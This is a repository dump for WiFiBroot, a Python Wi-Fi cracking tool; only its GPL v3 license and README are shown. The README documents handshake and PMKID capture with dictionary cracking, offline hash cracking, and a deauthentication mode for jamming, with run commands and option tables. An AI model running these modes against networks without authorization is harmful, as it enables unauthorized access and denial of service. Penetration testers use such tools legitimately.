├── LICENSE ├── README.md ├── dicts └── list.txt ├── exceptions.py ├── handshakes └── handshake.txt ├── pull.py ├── screen.py ├── utils ├── __init__.py ├── macers.py ├── macers.txt └── tabulater__.py ├── wifibroot.py └── wireless ├── __init__.py ├── captures.py ├── connector.py ├── cracker.py ├── pmkid.py ├── shifter.py └── sniper.py /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | WiFiBroot 3 |

4 |

A Wireless Pentest/Cracking Tool for 4-way Handshake & PMKID

5 | 6 | ## DESCRIPTION 7 | WiFiBroot is built to provide clients all-in-one facility for cracking WiFi (WPA/WPA2) networks. It heavily depends on **scapy**, a well-featured packet manipulation library in Python. Almost every process within is dependent somehow on scapy layers and other functions except for operating the wireless interface on a different channel. That will be done via native linux command **iwconfig** for which you maybe need *sudo* privileges. It currently provides **four** independent working modes to deal with the target networks. Two of them are online cracking methods while the other runs in offline mode. The offline mode is provided to crack saved hashes from the first two modes. One is for deauthentication attack on wireless network and can also be used as a jamming handler. It can be run on a variety of linux platforms and atleast requires WN727N from tp-link to properly operate. 8 | 9 | ## Installation: 10 | 11 | It only works with **Python 2** 12 | 13 | WiFiBroot heavily depends on scapy. So, you would need scapy installed. Almost, every other library would likely be installed on your system. Make sure the version you install for scapy should be `<=2.4.0`. Newer versions are likely to throw some unknown errors. 14 | 15 | ``` 16 | $ sudo pip install scapy==2.4.0 17 | ``` 18 | The script is supposed to be run under **sudo** but it will still work even if not run under the root mode. The basic necessary arguments are: 19 | 20 | ``` 21 | $ sudo python wifibroot.py -i [interface] -d /path/to/dictionary -m [mode] 22 | ``` 23 | 24 | ## Documentation : ## 25 | 26 | WiFiBroot uses modes to identify which attack you want to perform on your target. Currently, there are three available modes. The usage of each mode can be seen by supplying the **--help/-h** option right after the **-m/--mode** option. Here's a list of available modes and what they do: 27 | 28 | ### Modes: 29 | ``` 30 | Syntax: 31 | $ python wifibroot.py [--mode [modes]] [--options] 32 | $ python wifibroot.py --mode 2 -i wlan1mon --verbose -d /path/to/list -w pmkid.txt 33 | 34 | Modes: 35 | # Description Value 36 | 01 Capture 4-way handshake and crack MIC code 1 37 | 02 Captures and Crack PMKID (PMKID Attack) 2 38 | 03 Perform Manual cracking on available 39 | capture types. See --list-types 3 40 | 04 Deauthentication. Disconnect two stations 41 | and jam the traffic. 4 42 | 43 | Use -h, --help after -m, --mode to get help on modes. 44 | ``` 45 | Each mode has a specific purpose and has it's own options: 46 | ### HANDSHAKE: 47 | ``` 48 | Mode: 49 | 01 Capture 4-way handshake and crack MIC code 1 50 | 51 | Options: 52 | Args Description Required 53 | -h, --help Show this help manual NO 54 | -i, --interface Monitor Interface to use YES 55 | -v, --verbose Turn off Verbose mode. NO 56 | -t, --timeout Time Delay between two deauth 57 | requests. NO 58 | -d, --dictionary Dictionary for Cracking YES 59 | -w, --write Write Captured handshake to 60 | a seperate file NO 61 | --deauth Number of Deauthentication 62 | frames to send NO 63 | 64 | Filters: 65 | -e, --essid ESSID of listening network 66 | -b, --bssid BSSID of target network. 67 | -c, --channel Channel interface should be listening 68 | on. Default: ALL 69 | ``` 70 | ### PMKID ATTACK 71 | ``` 72 | Mode: 73 | 02 Captures and Crack PMKID (PMKID Attack) 1 74 | 75 | Options: 76 | Args Description Required 77 | -h, --help Show this help manual NO 78 | -i, --interface Monitor Interface to use YES 79 | -v, --verbose Turn off Verbose mode. NO 80 | -d, --dictionary Dictionary for Cracking YES 81 | -w, --write Write Captured handshake to 82 | a seperate file NO 83 | 84 | Filters: 85 | -e, --essid ESSID of listening network 86 | -b, --bssid BSSID of target network. 87 | -c, --channel Channel interface should be listening 88 | on. Default: ALL 89 | ``` 90 | ### Offline Cracking 91 | ``` 92 | Mode: 93 | 03 Perform Manaul cracking on available capture 94 | types. See --list-types 3 95 | 96 | Options: 97 | Args Description Required 98 | -h, --help Show this help manual NO 99 | --list-types List available cracking types NO 100 | --type Type of capture to crack YES 101 | -v, --verbose Turn off Verbose mode. NO 102 | -d, --dictionary Dictionary for Cracking YES 103 | -e, --essid ESSID of target network. 104 | Only for HANDSHAKE Type YES 105 | -r, --read Captured file to crack YES 106 | ``` 107 | ### DEAUTHENTICATION ATTACK (Stress Testing) 108 | ``` 109 | Mode: 110 | 04 Deauthentication. Disconnect two stations 111 | and jam the traffic. 4 112 | 113 | Options: 114 | Args Description Required 115 | -h, --help Show this help manual NO 116 | -i, --interface Monitor Mode Interface to use YES 117 | -0, --count Number of Deauthentication 118 | frames to send. '0' specifies 119 | unlimited frames YES 120 | --ap Access Point MAC Address NO 121 | --client STA (Station) MAC Address NO 